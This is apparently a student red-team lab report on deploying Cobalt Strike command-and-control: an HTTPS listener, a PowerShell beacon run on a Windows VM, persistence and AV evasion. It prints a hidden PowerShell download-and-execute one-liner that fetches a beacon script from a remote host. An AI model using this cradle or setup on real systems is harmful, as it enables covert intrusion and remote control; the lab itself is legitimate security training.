PRACTICAL – 1

Advanced C2 Infrastructure Setup

Objective

Deploy a Command & Control (C2) framework, customize payloads, maintain encrypted remote control, and log all actions.

Tools Used

Cobalt Strike, Windows 10 VM, PowerShell, HTTPS Beacon Listener

Procedure

1 Started Cobalt Strike TeamServer

2 Configured an **HTTPS Listener** using port 443 for stealth

3 Generated **stageless PowerShell Beacon payload**

4 Executed payload in target Windows VM with elevated privileges

5 Beacon established → controlled host remotely

6 Executed commands for persistence & enumeration

7 Verified communication remained encrypted & undetected by AV

Commands Executed

```
powershell -nop -w hidden -c "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.10/beacon.ps1')"
whoami
ipconfig
```

Result Log

Session ID	Target OS	IP Address	Payload Type	Status	Notes
SID-C2-001	Windows 10	192.168.1.50	PS Beacon (HTTPS)	Active	Fully controlled & stealth

Summary (50 Words)

This lab demonstrated how attackers maintain encrypted remote access using a stealthy HTTPS beacon. I successfully controlled the target system, executed commands, and validated persistence. This replicates real-world APT-style post-exploitation operations.